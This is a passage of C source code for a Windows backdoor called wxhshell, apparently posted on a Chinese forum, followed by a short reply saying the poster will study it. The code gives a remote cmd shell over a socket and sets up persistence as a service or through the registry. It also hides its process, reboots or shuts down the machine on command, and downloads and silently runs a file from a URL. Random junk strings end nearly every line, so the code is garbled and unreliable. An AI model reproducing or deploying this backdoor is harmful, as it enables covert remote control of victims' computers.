  if(DownloadFile(cmd,wsh)) 6BEpnw>p(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R$A%Zh6  
  else a\oz-`ESa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |!7leL  
  } pzUr9  
  else { *QI Yq  
w Jp1Fl~  
    switch(cmd[0]) { I|>.&nb  
  J7aYi]vI  
  // 帮助  ST~YO  
  case '?': { pFZ$z?lI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TX@ed  
    break; 9^`cVjD5  
  } NXDkGO/*  
  // 安装 >&R@L KP  
  case 'i': { *//z$la  
    if(Install()) `kv7Rr}Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ["Tro;K#  
    else #CAZ}];Qx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _*8 6  
    break; C!9mygI  
    } dTu*%S1Z  
  // 卸载 JKO*bbj  
  case 'r': { 5[r}'08b  
    if(Uninstall()) Nh/i'q/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *qAG0EM|  
    else vWrTB   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?EPHq, E  
    break; m\/)m]wR  
    } 0R `>F">  
  // 显示 wxhshell 所在路径 G(Hr*T%  
  case 'p': { -"a(<JC^NI  
    char svExeFile[MAX_PATH]; + ZiYl[_|  
    strcpy(svExeFile,"\n\r"); m .(\u?J  
      strcat(svExeFile,ExeFile); 1OMaY5F  
        send(wsh,svExeFile,strlen(svExeFile),0); N#)Klq87z  
    break; 2_o\Wor#  
    } 9) $[W  
  // 重启 U:eX^LE7  
  case 'b': { <SOG?Lh~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,{msJyacmR  
    if(Boot(REBOOT)) ycki0&n3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,`!lZ| U  
    else { 02tN=}Cj)  
    closesocket(wsh); -aE,KQ  
    ExitThread(0); F9r/ M"5  
    } "rEfhzmyF  
    break; jq8TfJ|   
    } 8fBhX,1  
  // 关机 #f_'&m  
  case 'd': { .d$Q5Qae  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '@w'(}3!3R  
    if(Boot(SHUTDOWN)) f}4A ,%:1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =2DK?]K;  
    else { BhbfPQ  
    closesocket(wsh); tlg}"lY  
    ExitThread(0); u2$.EM/iae  
    } uTPAf^|  
    break; .3n\~Sn  
    } i O?f&u  
  // 获取shell `,/5skeJ  
  case 's': { ?$tD  
    CmdShell(wsh); L]"$d F  
    closesocket(wsh); b\o>4T  
    ExitThread(0); 3XQe? 2:<  
    break; 5 $$Cav  
  } X%JyC_~<  
  // 退出 ].aFdy  
  case 'x': { AcH!KbYf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uV@' 898%5  
    CloseIt(wsh); yD.(j*bMK;  
    break; Rbr:Q]zGN  
    } gi5X ,:[  
  // 离开 +F-Y^):  
  case 'q': { ^-mWk?>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0+SZ-]  
    closesocket(wsh); 4 x4[  
    WSACleanup(); <|X+T,  
    exit(1); f?eq-/UR  
    break; w2/3[VZ}l  
        } )K$xu(/K  
  } hu"-dT;4]  
  } 0`p"7!r  
ot! m=s  
  // 提示信息 &(Hw:W 9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /-^J0f+l3  
} s"w^E\ >6  
  } {}iS5[H]  
u8|CeA  
  return; I?%q`GyP5  
} Qy4Pw\  
,WnZ^R/n  
// shell模块句柄 '/9MN;_  
int CmdShell(SOCKET sock) wxj}k7_(`A  
{ QfPw50N;  
STARTUPINFO si; @W @,8e]c  
ZeroMemory(&si,sizeof(si)); zw$\d1-+h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mJ5%+.V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Iw( wT_  
PROCESS_INFORMATION ProcessInfo; Knb(MI6  
char cmdline[]="cmd"; b2[U3)|oO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1{d;Ngx  
  return 0; yI07E "9  
} Fn4yx~0  
v UO[V$rx  
// 自身启动模式 5[)#3vY  
int StartFromService(void) ya^8mp-  
{ C\ Yf]J  
typedef struct -wl&~}%M  
{ O&;d82IA{  
  DWORD ExitStatus; K]M@t=  
  DWORD PebBaseAddress; /?XI,#j3kM  
  DWORD AffinityMask; (. YSs   
  DWORD BasePriority; :)B1|1  
  ULONG UniqueProcessId; }0@@_Y]CC  
  ULONG InheritedFromUniqueProcessId; s?->2gxhx  
}   PROCESS_BASIC_INFORMATION; S# baOO  
i`];xNR'  
PROCNTQSIP NtQueryInformationProcess; *kTp(*K/7`  
BB V>Q L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w,R6:*p5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F9% +7Op^  
&OXx\}>MW  
  HANDLE             hProcess; zzo93d  
  PROCESS_BASIC_INFORMATION pbi; `ZM$\Q=:  
8)pL0bg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J9j @V4  
  if(NULL == hInst ) return 0; \.sC{@5K  
OQ 4h8,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B^GMncZO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~Jw84U{$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3K/ tB1  
|F<iu2\  
  if (!NtQueryInformationProcess) return 0; gE=9K @  
wS&D-!8v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KECW~e`  
  if(!hProcess) return 0; di9OQ*6a7  
^u"WWLZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \b!E"I_^  
Ya!e8 3-r  
  CloseHandle(hProcess); E?KPez  
}fo_"bs@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aE3eYl9u  
if(hProcess==NULL) return 0; CRNi*u  
2g?q4e,  
HMODULE hMod; qR?}i,_  
char procName[255]; L,nb<  
unsigned long cbNeeded; YTY(Et1i  
jA^Dk$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IqsUtWSp  
'!?t+L%gO  
  CloseHandle(hProcess); 59W~bWHCP  
t# y,9>6  
if(strstr(procName,"services")) return 1; // 以服务启动  6Bcr.`  
1n7'\esC*  
  return 0; // 注册表启动 $G }9iV7  
} h#Z,ud_  
P2C>IS  
// 主模块 P{_%p<:V  
int StartWxhshell(LPSTR lpCmdLine) M3F1O6=4j  
{ K[/L!.Ag  
  SOCKET wsl; #9.%>1{6Y  
BOOL val=TRUE; Dr=$}Y  
  int port=0; *o:J 4'  
  struct sockaddr_in door; vZ57 S13  
 iD])E/  
  if(wscfg.ws_autoins) Install(); z#P`m,~t0  
`{ HWk^  
port=atoi(lpCmdLine); Ty~z%=H  
.\ya  
if(port<=0) port=wscfg.ws_port; WQiRbbX  
5/h-H r  
  WSADATA data; O`GF |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r%ebC   
OW@)6   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FeO1%#2<y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  (#O"  
  door.sin_family = AF_INET; Vky]In=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -Eq[J k  
  door.sin_port = htons(port); mEi(DW)(  
Qy[S~D_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =&9c5"V&  
closesocket(wsl); |pG0 .p4  
return 1; BOcD?rrZ0  
} p9u'nDi  
R4JfH  
  if(listen(wsl,2) == INVALID_SOCKET) { ElDeXLr'  
closesocket(wsl); j&Xx{ 4v  
return 1; U:3O E97  
} 33D2^ Sf6"  
  Wxhshell(wsl); =mPe wx'  
  WSACleanup(); )X|)X,~+-  
wF%RM$  
return 0; fc<y(uX  
3"v>y]$U  
} ']I!1>v$[  
K{`R`SXD  
// 以NT服务方式启动 lA1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y06**f)  
{ xfI0P0+  
DWORD   status = 0; i4h`jFS  
  DWORD   specificError = 0xfffffff; 9%NobT  
IvY3iRq6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^E8qI8s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -mh"["L"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]$9y7Bhj.  
  serviceStatus.dwWin32ExitCode     = 0; Ml{ ]{n  
  serviceStatus.dwServiceSpecificExitCode = 0; ?nbu`K6T  
  serviceStatus.dwCheckPoint       = 0; 2fu<s^9dh  
  serviceStatus.dwWaitHint       = 0; :b %2qBv  
$0 vT_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xf,A<j (o  
  if (hServiceStatusHandle==0) return; Cc%{e9e*  
@H4]Gp ]  
status = GetLastError(); fsw[ R0B  
  if (status!=NO_ERROR) b6Z3(!] ]  
{ |#< z\u }  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ` V [4  
    serviceStatus.dwCheckPoint       = 0; C,$o+q*)W9  
    serviceStatus.dwWaitHint       = 0; w%iw xo   
    serviceStatus.dwWin32ExitCode     = status; `sso Wn4  
    serviceStatus.dwServiceSpecificExitCode = specificError; G/(,,T}eG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %D:VcY9OC  
    return; S$$SLy:P  
  } Cojs;`3iF:  
t^zE^:06  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :3 Hz!iZM  
  serviceStatus.dwCheckPoint       = 0; 2PRiiL@  
  serviceStatus.dwWaitHint       = 0; d4^x,hzV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =7H\llL4BC  
} GK1nGdT]  
7qUg~GJX  
// 处理NT服务事件,比如:启动、停止 rTVv6:L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZN;ondp4  
{ ISFNP&& K  
switch(fdwControl) esBv,b?*  
{ !u8IZpf  
case SERVICE_CONTROL_STOP: S5ai@Ks f  
  serviceStatus.dwWin32ExitCode = 0; {,h_T0D^j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bfZt<-  
  serviceStatus.dwCheckPoint   = 0; ~]d9 J  
  serviceStatus.dwWaitHint     = 0; JA9NTu(  
  { .[1 f$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D&ua A-;s  
  } &S 66M2  
  return; aQ\SV0PI  
case SERVICE_CONTROL_PAUSE: h%W,O,K/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ji\LC%U-  
  break; rXMc0SPk  
case SERVICE_CONTROL_CONTINUE: z\ONw Ml  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |nnFjGC`~  
  break; V V}"zc^  
case SERVICE_CONTROL_INTERROGATE: >bQOpGy}l  
  break; fjy\Q  
}; ]u$tKC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qb>("j~Z  
} c_+fA  
6fI2y4yEz  
// 标准应用程序主函数 L?j<KW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <\Y(+?+uZ  
{ 41Q)w=hoN  
hHVAN3e  
// 获取操作系统版本 S,Q^M )$  
OsIsNt=GetOsVer(); S hy.:XI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .$W}  
x"R F[ d  
  // 从命令行安装 6|f8DX%3V  
  if(strpbrk(lpCmdLine,"iI")) Install(); C R?}*  
YLA(hg|  
  // 下载执行文件 wXqwb|2  
if(wscfg.ws_downexe) { iV?8'^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YzM/?enK}T  
  WinExec(wscfg.ws_filenam,SW_HIDE); :{Z%dD  
} " j?xgV  
!> +Lre@  
if(!OsIsNt) { %5KK#w "  
// 如果时win9x,隐藏进程并且设置为注册表启动 v@yqTZ  
HideProc(); c!wRq4  
StartWxhshell(lpCmdLine); 0n`Temb/  
} sH2xkUp  
else XP%_|Q2X  
  if(StartFromService()) sn^ 3xAF  
  // 以服务方式启动 .|07IH/Di{  
  StartServiceCtrlDispatcher(DispatchTable); VWK/(>TP  
else =LK`m NA  
  // 普通方式启动 .B2e$`s$  
  StartWxhshell(lpCmdLine); M!!vr8}  
!]A/ID0K  
return 0; &1^~G0 Rh\  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八